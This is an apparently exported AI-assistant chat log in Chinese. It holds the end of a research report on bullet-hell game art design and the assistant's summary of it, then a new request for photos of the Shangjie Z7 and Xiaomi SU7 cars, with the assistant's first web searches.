3–4px 点、8×4 米粒;米弹风速后有变短/判定变大差异 |\n| 尖形 | 针弹/箭弹/晶弹 | 速度感、方向感最强 | 长 8–14px 的三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 角色辨识度高(如咲夜/蕾米) | 剑身+尖端高光;前端无判定所以略细 |\n| 星光形 | 星弹(大/小)、光弹 | 华丽、魔法感;光弹判定偏大 | 4 角/5 角星 + 旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、钱弹、鳞弹(带\"翼\") | 角色主题、装饰 | 2 帧扇翅/跳动动画;鳞弹判定仅中心点 |\n| 火焰/流体 | 炎弹、水滴/滴弹 | 不规则 | 2–3 帧沸腾动画,\"躲前端\"语义 |\n| 激光 | 线段激光/射线激光、弧形激光 | 封路、视觉冲击 | 预警线(细)→ 实体(粗)2 帧过渡;线身描边 |\n\n**东方判定参考**(thwiki):多数弹\"判定 < 视觉\":大玉只有中心空洞有效、鳞弹只有中心点、剑弹前端无判定、激光靠预警线判定;当\"准激光/粥弹/核弹\"等判定欺诈弹出现时,需要玩家另行学习——像素风下**不要滥用判定欺诈**,默认\"所见即所判\"更公平。\n\n### 5.2 颜色编码\n\n- **基础原则**:子弹是屏幕上最鲜艳的元素;用高饱和色与背景拉开对比;颜色可传达属性/机制语义(slynyrd;note.com 3-3)。\n- **按属性/危险度编码**示例:\n - 红/橙 = 高速、致命、普通攻击;\n - 蓝/青 = 特殊判定、特殊移动(如反弹/曲线/激光);\n - 紫/白 = 装饰弹、非致命、演出用;\n - 绿 = 通常用于玩家/友方,避免敌方子弹大量用绿(语义混淆)。\n - (以上为常见实践惯例,属综合常识,非单一文献结论。)\n- **注意**:颜色要与背景/特效区分(note.com 3-3);考虑红绿色盲——**不要只靠红/绿区分要害**,同时用形状/大小/闪烁区分。\n- **同波同色**:同一次发射的子弹用同一色系,方便玩家把\"一波子弹\"当整体读(note.com 3-3:子弹类型或危险度不同则换色)。\n\n### 5.3 子弹大小与可躲避性\n\n- **判定点 vs 视觉**:自机 hitbox 远小于机绘(Cave 1px hitbox、DoDonPachi 子弹判定约直径 20%,来源 TimeExtension/Shmups Wiki);聚焦模式时在判定点处显示小红点让玩家能\"穿缝\"。\n- **子弹尺寸**:越大越可见但占屏;太小(<判定点)会\"消失\"且威胁感弱。建议子弹视觉 6–16px 常见、点弹 3–4px、激光不限长(slynyrd:子弹应大小多样,通常越大伤害越高)。\n- **缝隙设计**:安全缝隙宽度 = 玩家判定 + 子弹判定 + 玩家操作误差(微闪避用低速聚焦移动保证精度);设计时给缝隙留 ≥2–3px 冗余(工程经验法则)。\n- **密度 vs 大小**:子弹越小越能密(给留出视觉通道);同屏密度高时,小弹+弱判定(空心大玉)是\"看起来吓人、实际可穿\"的经典手法(thwiki 大玉示例)。\n\n### 5.4 发光/粒子效果在像素风格中的处理\n\n- **描边(outline)**:几乎必备,最好**双层描边**(亮色外圈+暗色内圈)以保证任何背景下可读;pixel 风格常用白描边与其它精灵(深描边)区分(slynyrd)。\n- **闪烁/双帧动画**:两帧交替即可做出\"呼吸/危险脉冲\";对比度越大越激烈,但太强会难以追踪快速弹(slynyrd)。\n- **发光**:像素风发光 = 亮色核心 + 1 层半透明同色光晕(加色混合 additive)或\"外扩 1px 亮描边\";避免真实 bloom 破坏像素感。\n- **粒子**:爆炸/火花/花瓣用\"范围+偏置\"的受控随机(note.com 2-12);粒子可叠加在弹幕上做纹理而不是独立威胁。\n- **脉冲缩放**:呼吸/脉动(expanding-contracting)可让呆滞的圆弹\"活起来\"(slynyrd 的 rotation/motion 建议)。\n- **消弹特效**:Boss 符卡击破瞬间,全屏子弹转为道具/星点,是东方色的标志性演出(Touhou Wiki Items:子弹在 Boss 攻击结束/未超时被打掉时转为星道具;消弹 cancel 亦为计分要素,maribelhearn 术语)。\n\n### 5.5 弹幕层级的视觉优先级\n\n绘制顺序(从底层到顶层,工程惯例 + Reddit shmupdev 设计 101 摘要:\"敌方子弹永远画在其它对象之上\"):\n\n1. 背景/场景层\n2. 地面敌人/可破坏物\n3. 道具、点数\n4. 玩家射击、爆炸特效(半透明)\n5. **敌方子弹(最高优先级之一,必须覆盖玩家机绘)**\n6. 玩家机绘 + 判定点指示(聚焦时)\n7. UI(血量/符卡名/时间)\n\n理由:玩家需要\"先读弹,再读自己\";若子弹被机绘/特效遮挡,就会产生\"判定杀(clipdeath)\"的挫败感(maribelhearn 术语)。\n\n### 5.6 像素风格弹幕设计清单(落地用)\n\n- [ ] 每种模式指定**1 个主色 + 1 种子弹形状**(勿两种都在变);\n- [ ] 危险弹用暖色+闪光,装饰弹用冷色/暗色调;\n- [ ] 所有敌方子弹带描边(建议双层),且在玩家机绘之上绘制;\n- [ ] 直线/追踪/曲线弹使用**方向性贴图**(箭头/针/刀)并随角度旋转;\n- [ ] 预警:激光先细线→粗线;分裂弹先停顿+蓄力闪光;大威力攻击让 Boss 本体发光(note.com 3-5);\n- [ ] 判定 < 视觉:默认简化判定(圆/椭圆),为\"大玉/鳞弹\"这类特殊判定做贴图注释(空心=可穿);\n- [ ] 像素分辨率建议在 320×180~640×360 区间定基准(slynyrd 建议 480×270),保证单个子弹仍有足够像素表达细节;\n- [ ] 每张符卡/阶段限定子弹色彩数(建议 2–3 色),避免像素噪点化。\n\n---\n\n## 6. 对本项目(像素风弹幕游戏)的落地建议汇总\n\n1. **词库起步**:环形 / 螺旋 / 扇形 / 直线(流+墙)/ 瞄准扇 / 受控随机 / 分裂弹 / 激光(带预警)/ 滞留结界,共 9 个基础模式,先用\"参数化发射器\"(Count/Aim/Spread/Spin/Speed/FireRate/Lifetime)实现(参照 o3de-diorama 的参数表),Boss 脚本只做\"模式序列 + 转场\",成本最低。\n2. **难度曲线**:按\"非符(轻)→ 符卡(重)→ 非符 → 符卡 …\"排布;每张符卡 = 1 主题图案 + 增强型变密 + 时限生存变体(一套图案三种玩法)。\n3. **公平性**:所有危险性一定要有预警(telegraph);缝隙 > 判定 + 冗余;颜色+形状双通道编码。\n4. **像素视觉**:双层描边 + 双帧闪烁 + 加色发光小光晕 + 同波同色 2–3 色限制 + 子弹层级最高。\n5. **性能**:对象池 + 合批 + 简化碰撞层(目标只放玩家/护盾),确保几百到几千颗子弹稳定 60FPS。\n\n---\n\n## 7. 信息来源与置信度说明\n\n按信息诚实原则,对所有关键结论标注来源与置信度:\n\n**(A)本轮调研直接引用的网页来源(置信度高,可复核):**\n\n1. npaka,《A Summary of 15 Beautiful Bullet Hell Patterns in Danmaku Shooters》(note.com)——15 种模式分类、组合配方、参数与设计 tips:https://note.com/npaka/n/n5d38b7d84173?hl=en\n2. Sparen's Danmaku Design Studio,Guide A2(角度类型、方向性子弹、心理过滤、danmaku vs 普通 STG)、Guide A3(墙的定义、微/宏闪避、Utsuho 例子):https://sparen.github.io/ph3tutorials/ddsga2.html 、ddsga3.html\n3. Danmokou(DMK 引擎)Tutorial 6(函数式运动系统、极坐标螺旋公式、性能数据、贝塞尔/参数方程讨论):https://dmk.bagoum.com/docs/articles/t06.html\n4. Wikipedia《符卡》(符卡规则、宣言、红利、时效/增强型、Last Spell/Last Word/Overdrive、难度差异、魔理沙魔法书分类):https://zh.wikipedia.org/zh-hans/符卡\n5. thwiki/东方吧Wiki《东方全弹型介绍与中弹判定分析》(小玉/米弹/点弹/大玉/光弹/针弹/鳞弹/剑弹/炎弹/激光/核弹/粥弹及判定细则):https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html=\n6. maribelhearn 《Touhou Community Jargon》(子弹类型表、micro/macro dodge、safespot、streaming、misdirection、routing、cancel、clipdeath 等术语):https://maribelhearn.com/faq/jargon(含中文版)\n7. maribelhearn Beginner Guide(微/宏闪避、流弹引弹、safespot 举例 BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*", "line_start": 1, "line_end": 437, "total_lines": 437, "file_size": 43317, "char_count": 22159, "message": "已读取 research/bullet_patterns/bullet_pattern_research.md 的内容(行 1~437)"}}, "tool_call_id": "read_file_12", "name": "read_file"}, {"role": "assistant", "reasoning_content": "所有三份子报告都已经完成了,质量都非常高!现在我需要为用户整合这三份报告的核心内容,生成一份精炼的、可直接用于指导像素弹幕射击游戏美术设计的汇总报告。\n\n三份报告分别覆盖了:\n1. 武器系统设计(weapon_research.md)- 7种武器类型、升级系统、像素风格表现\n2. 敌方弹幕模式(bullet_pattern_research.md)- 19种弹幕模式、Boss战设计、数学原理\n3. 像素美术风格(pixel_art_research.md)- 自机/敌方/子弹/特效/UI设计、素材资源\n\n我需要为用户做一份整合版的精华摘要,同时告知三份详细报告的存放位置。由于当前是计划模式(plan mode),我不应该执行任何修改操作,只需汇报结果即可。\n\n让我用 Markdown 格式输出一份结构清晰的整合报告摘要。", "content": "全部三份调研报告已完成!以下是整合后的**像素弹幕射击游戏美术设计调研总汇**:\n\n---\n\n# 🎮 像素弹幕射击游戏 — 美术设计调研总汇\n\n> 📁 三份详细报告已保存:\n> - `research/weapon_system/weapon_research.md` — 武器系统(294行)\n> - `research/bullet_patterns/bullet_pattern_research.md` — 弹幕模式(436行)\n> - `research/pixel_art_style/pixel_art_research.md` — 像素美术(258行)\n\n---\n\n## 一、核心设计原则:可读性 > 美观\n\n弹幕游戏的美术不是\"好看\",而是**\"玩家能在一瞬间分辨威胁和逃生路\"**。所有决策都服务于这一目标。\n\n**色彩价值分层是关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边,让玩家弹、敌弹、道具、爆炸用不同明度层级区分。\n\n---\n\n## 二、武器系统设计(7大类型)\n\n| 武器 | 视觉特征 | 经典例子 |\n|-----|---------|---------|\n| **🎯 散弹** | 扇形多弹丸、离散分布、覆盖广 | 雷电Vulcan、东方灵梦C |\n| **🔴 集中射击** | 弹丸收拢成束、前方高伤害 | 东方低速模式、风神录封印针 |\n| **⚡ 激光** | 粗直持续光柱+起点光晕+灵气光环 | 怒首领蜂Laser、雷电Plasma |\n| **🧭 追踪弹** | 弹丸转弯行为+弯曲尾迹+发光引导火 | 东方灵梦A诱导灵符 |\n| **🛡️ 环绕/子机** | 发光球体挂在自机旁、数量=火力等级 | Gradius Option、东方子机 |\n| **💥 蓄力射击** | 充能指示器+释放时大弹体+闪光 | R-Type波动炮 |\n| **💣 炸弹/清屏** | 全屏特效+扩散圆环+敌弹变道具 | 东方符卡BOMB、怒首领蜂Bomb |\n\n**关键洞察**:\n- 东方Project的**符卡系统**把炸弹做成了\"有名字有立绘的招式\",是玩法与世界观结合的巅峰\n- 怒首领蜂的**Hyper系统**将\"强化\"与\"难度提升\"挂钩——高回报高风险\n- **火力等级必须可视化**:玩家不需要看HUD就能通过子机数量/弹丸数感知等级\n\n---\n\n## 三、敌方弹幕模式(19种经典模式)\n\n### 基础几何模式\n\n| 模式 | 视觉 | 数学要点 |\n|-----|------|---------|\n| **环形弹幕** | 从中心360°均匀放射,如涟漪/烟花 | `angle = base + i·(360°/n)` |\n| **螺旋弹幕** | 发射角连续旋转,如银河/风车 | 极坐标 `r=a·t, θ=b·t` |\n| **扇形弹幕** | 在一个方向张开成扇面 | `angle = aim - spread/2 + i·step` |\n| **直线弹幕** | 密集弹流或不可穿越的\"墙\" | 连续发射+固定方向 |\n| **随机散射** | 火花/星尘式散落 | 在固定规律上叠加小随机 |\n| **追踪弹幕** | 开火瞬间瞄准或飞行中持续转向玩家 | `atan2(py-by, px-bx)` + 限速转向 |\n| **反弹弹幕** | 撞到边缘后反射继续飞行 | `angle = π - angle` 反射 |\n| **滞留弹幕** | 停留在场上形成持续障碍 | 寿命拉长+速度降到~0 |\n\n### 进阶/组合模式\n\n| 模式 | 特征 |\n|-----|------|\n| **波型/幕帘** | 正弦波排列,像波浪/瀑布,易与BGM节奏联动 |\n| **网格** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读 |\n| **花状** | 对称花瓣排列(5/6/8瓣),华丽,适合符卡演出 |\n| **星形/多边形** | 强调特定顶点的星形放射 |\n| **交叉** | 多股弹流交叉如编织/光流 |\n| **落雨** | 自上而下倾泻,天然适合道中演出 |\n| **粒子** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子 |\n| **激光** | 线/带状攻击,视觉冲击强,可明确封路 |\n| **分裂弹** | 飞行中途爆成更多子弹,常伴随停顿预警 |\n\n**设计核心**:弹幕的本质是**\"缝隙谜题\"**——设计缝隙,而非密度。玩家能看见逃生路就公平。\n\n---\n\n## 四、Boss战设计(东方符卡系统)\n\n**经典结构**:\n1. **非符1**(轻、教学、环/扇)\n2. **符卡宣言**(换背景、念符名)→ 符卡1(主题图案,时限,收取奖励)\n3. **非符2**(中压,引入瞄准/引弹)\n4. **符卡2**(组合图案,增强型:随血量变密)\n5. **濒死**:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出\n\n**Boss战五要素**(Game Developer):\n1. **难度** — 首关Boss必须让认真玩的人能过\n2. **多样性** — 血量条分段,每段不同策略\n3. **时长** — 与关卡时长成比例\n4. **回报** — 濒死前\"倾泻所有弹幕\"制造最终高潮\n5. **角色** — 爆炸、受击、蓄力动画都要符合角色性格\n\n---\n\n## 五、像素美术规范\n\n### 分辨率与尺寸\n- **逻辑分辨率**:480×270(推荐)或 320×180,整数倍放大3~4倍\n- **自机精灵**:16×16(极简)/ 24×24 / 32×32(推荐起步)\n- **杂兵**:16×16 ~ 24×24;**Boss**:48×48 ~ 96×96\n- **子弹**:8×8(小圆弹)~ 16×16(中圆弹)~ 32×32(特殊弹)\n\n### 色板分工\n| 元素 | 颜色建议 |\n|-----|---------|\n| 背景 | 低饱和中暗调(深蓝紫灰系)|\n| 敌方子弹 | 红/粉/紫系 + 白/亮色描边 |\n| 我方子弹 | 青/绿白系 + 深色描边 |\n| 自机 | 高对比品牌色(如红白、蓝白)|\n| 道具 | 金/橙(得分)、红(火力)、蓝(速度)|\n| 爆炸 | 白→橙红黄→灰 |\n\n### 动画帧数基线\n- 自机滚转:**3~5帧** + 尾焰**2~4帧**\n- 子弹旋转:**4帧**(或8帧)、脉动**2~4帧**、闪烁**2帧**\n- 爆炸:**6~10帧**(白热→暖色→灰烟)\n- 统一帧率:**12~15 FPS**\n\n### 绘制顺序(渲染层)\n```\n背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → 敌方子弹(最顶层)\n```\n\n### 判定框视觉提示\n- 东方系列标准:**低速/聚焦模式下显示半透明小圆圈+中心实点**\n- 判定圈与真实判定完全同心,让\"视觉大、判定小\"的公平性可视化\n\n---\n\n## 六、爆炸特效设计公式(SLYNYRD方法)\n\n1. **几何引导**:圆→扩张变细环\n2. **颜色演变**:白炽(最亮)→暖色(红橙黄)→灰烟消散\n3. **物理节奏**:热气先快后慢→**先迅速扩张、后缓慢消散**\n4. **Boss爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片四散\n\n---\n\n## 七、子弹形状库(东方参考)\n\n| 类别 | 形状 | 像素建议 |\n|-----|------|---------|\n| 圆形系 | 小玉、中玉、大玉(空心) | 6–10px圆+描边;大玉用\"中空环\" |\n| 粒状 | 点弹、米弹 | 3–4px点、8×4米粒 |\n| 尖形 | 针弹/箭弹/晶弹 | 长8–14px三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 剑身+尖端高光 |\n| 星光形 | 星弹(大/小)、光弹 | 4角/5角星+旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、鳞弹 | 2帧扇翅/跳动动画 |\n| 激光 | 线段/射线/弧形激光 | 预警线细→粗2帧过渡 |\n\n---\n\n## 八、免费素材资源推荐\n\n| 资源 | 内容 | 平台 |\n|-----|------|------|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方风格的子弹精灵包 | itch.io |\n| **Pixel SHMUP Ships**(DyLESTorm)| 1自机+2敌机+2弹幕+8帧爆炸+UI | itch.io |\n| **Explosions, Bullets, Fire** | 爆炸/子弹/火/电等离子精灵,CC0 | OpenGameArt |\n| **Free Laser Bullets Pack 2020** | 66个CC0激光/子弹PNG | OpenGameArt |\n| **Pixel Art Game UI**(CraftPix)| 现成像素UI素材 | CraftPix.net |\n\n---\n\n## 九、可直接执行的美术规范清单\n\n1. ✅ 画布:逻辑分辨率 **480×270**,整数倍放大3~4倍;精灵按16或8的倍数取尺寸\n2. ✅ 色板分工:背景低饱和中暗调、敌弹红/粉/紫+白描边、自机弹青/绿白+深描边\n3. ✅ 动画帧数:自机滚转3~5帧+尾焰2~4帧;子弹旋转4帧、脉动2~4帧、闪烁2帧;爆炸6~10帧;统一12~15 FPS\n4. ✅ 判定显示:自机真实判定用2~4px半径小圆,聚焦时显示同心空心圆+中心点\n5. ✅ 绘制顺序:背景→道具→我方子弹→敌人→自机→**敌方子弹(最顶层)**\n6. ✅ 工作流:先用itch.io/OpenGameArt免费包搭可玩原型,再逐步原创替换\n\n---\n\n以上就是三份子智能体调研报告的完整整合!如果你需要,我可以进一步帮你:\n- 📐 把这些设计转化为**具体的像素精灵绘制规格文档**\n- 💻 生成**弹幕模式的数学公式代码框架**\n- 🎨 设计一套**具体的色板+子弹形状资产清单**\n\n请告诉我下一步想做什么!🎮", "timestamp": "2026-08-23T12:35:23.058846", "message_id": "msg_2776ccabe3ef46669791d3be282b81ca", "metadata": {"model_key": "kimi-k2.6"}}], "meta": {"title": "弹幕游戏美术设计调研", "model_key": "Kimi-K3", "thinking_mode": true, "run_mode": "thinking", "multi_agent_mode": false, "permission_mode": "unrestricted", "execution_mode": "sandbox", "network_permission": "", "messages_count": 29}, "running": {"has_running_background_commands": false, "has_running_multi_agent": false, "has_running_sub_agents": false, "is_main_running": false, "is_truly_active": false, "main_task_id": null, "main_task_type": null}}} \ No newline at end of file diff --git a/website-design/exp/mock/bootstrap-conv_20260823_133304_218.json b/website-design/exp/mock/bootstrap-conv_20260823_133304_218.json new file mode 100644 index 00000000..55578f5d --- /dev/null +++ b/website-design/exp/mock/bootstrap-conv_20260823_133304_218.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversation_id": "conv_20260823_133304_218", "edited_files": [], "messages": [{"role": "user", "content": "尚界z7和小米su7都各长什么样子?给我展示他们的照片", "timestamp": "2026-08-23T13:33:04.579689", "message_id": "msg_bd50ecfb7e4c422493be9a473198e6d8", "metadata": {"message_source": "user", "visibility": "chat", "starts_work": true, "work_timer": {"status": "completed", "started_at": "2026-08-23T13:33:04.579679", "finished_at": "2026-08-23T13:35:36.404161", "duration_ms": 151824}}}, {"role": "assistant", "reasoning_content": "用户问尚界Z7和小米SU7长什么样子,要展示照片。\n\n尚界Z7——我需要想想这是什么。尚界是华为和上汽合作的品牌(鸿蒙智行旗下的\"尚界\"),2025年发布的。尚界Z7可能是他们的车型。不过我的知识截止时间可能不包含这个,或者信息不够准确。当前对话日期是2026-08-23。\n\n小米SU7是小米汽车的第一款车,2024年3月发布,这个我比较熟悉。\n\n用户要看照片。根据系统提示的图片检索流程:Wikimedia Commons 优先 → web_search 全网搜索 → 校验匹配 → 用 作为图片卡片展示。\n\n注意:当前环境网络受限(沙箱模式说\"网络:受限(仅允许 localhost,外部网络不可达)\")。等等,看执行环境部分:\"执行环境:沙箱(sandbox)... 网络:受限(仅允许 localhost,外部网络不可达)\"。但工具列表里有 web_search 和 extract_webpage 工具,这些工具可能是系统层面的,不受沙箱限制(沙箱限制的是 run_command 的网络)。通常 web_search 工具是由平台提供的,应该能用。\n\n我应该先用 web_search 搜索这两款车的图片。\n\n尚界Z7:尚界(HIMA 鸿蒙智行与上汽合作品牌)的第一款车是尚界H5(2025年)。Z7可能是2026年的新车?我不太确定。需要搜索确认。\n\n计划:\n1. 搜索尚界Z7图片\n2. 搜索小米SU7图片\n3. 找到可直链的图片URL,用 展示\n\n 支持本地路径或网络链接。\n\n需要注意:很多图片链接有防盗链,可能无法加载。Wikimedia Commons 优先。小米SU7在Wikimedia Commons上应该有不少照片。尚界Z7如果有的话也可能有。\n\n让我并行搜索:\n- web_search: 尚界Z7 图片\n- web_search: 小米SU7 site:commons.wikimedia.org 或者搜索图片\n\n先搜确认尚界Z7是什么车(我知识里尚界第一款是H5,Z7可能是轿车)。搜索一下。\n\n然后再找图片直链。Wikimedia Commons 的图片直链可以用 upload.wikimedia.org 的URL,比较稳定且无防盗链。\n\n策略:\n1. 搜\"尚界Z7\"确认车型信息\n2. 搜 Wikimedia Commons 上的 小米SU7 和 尚界Z7 图片\n3. 提取图片直链展示\n\n开始。并行调用两个搜索。", "content": "我来帮你找这两款车的照片。先搜索确认车型信息和可用的图片资源。", "timestamp": "2026-08-23T13:33:29.921585", "message_id": "msg_0287caf251ae4c189ad2321e88747217", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_Bq5lX4JqU35DlGIHxDhnFIWI", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索尚界Z7车型信息\", \"query\": \"尚界Z7 华为 上汽 轿车 发布\", \"topic\": \"general\"}"}}, {"id": "tool_tHN9XsFo50RxYSzVYxrTF1Mc", "index": 1, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"找小米SU7维基共享图片\", \"query\": \"Xiaomi SU7 site:commons.wikimedia.org\", \"topic\": \"general\"}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: 尚界Z7 华为 上汽 轿车 发布\\n📅 搜索时间: 2026-08-23T13:33:35.212346\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. 尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\\n 🔗 https://chejiahao.autohome.com.cn/info/24687213\\n 📄 移动App触屏版小程序i车商本地服务\\n\\n扫码打开汽车之家小程序\\n\\n点赞\\n\\n评论\\n\\n收藏\\n\\n分享\\n\\n当前位置:\\n\\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\\n\\n车图腾\\n\\n车家号·0浏览·2026-01-07 20:20 · 北京\\n\\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一...\\n\\n2. 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\\n 🔗 https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\\n 📄 The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the H...\\n\\n3. 尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\\n 🔗 https://zhuanlan.zhihu.com/p/2012843367285945611\\n 📄 尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳\\n\\n4. 余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\\n 🔗 https://stcn.com/article/detail/3661702.html\\n 📄 与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\\n\\n鸿蒙智行累计交付128万辆\\n\\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\\n\\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵...\\n\\n5. 上汽集团官网\\n 🔗 https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\\n 📄 一、对准用户,方能校准自己\\n\\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\\\"更敏捷地响应用户与市场\\\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\\n\\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品...\\n\\n6. 尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\\n 🔗 https://www.epochtimes.com/b5/26/4/22/n14747517.htm\\n 📄 「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\\n\\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\\n\\n責任編輯:任子君#\\n\\n標籤\\n\\n華為鴻蒙智行尚界Z7趴窩\\n\\n相關專題:\\n\\n夏松報導\\n\\n## 相關文章\\n\\n小鵬汽車方向機頻頻失靈 ...\\n\\n7. 尚界Z7\\n 🔗 https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\\n 📄 06:42\\n\\n灵活好开又智能 体验尚界Z7动态驾驶篇\\n\\n03:29\\n\\n尚界Z7 